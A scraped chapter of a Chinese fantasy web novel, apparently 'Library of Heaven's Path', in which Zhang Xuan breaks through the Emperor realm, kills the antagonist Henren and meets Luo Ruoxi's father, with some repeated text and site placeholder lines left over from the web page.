聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第476章 愚见! 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新!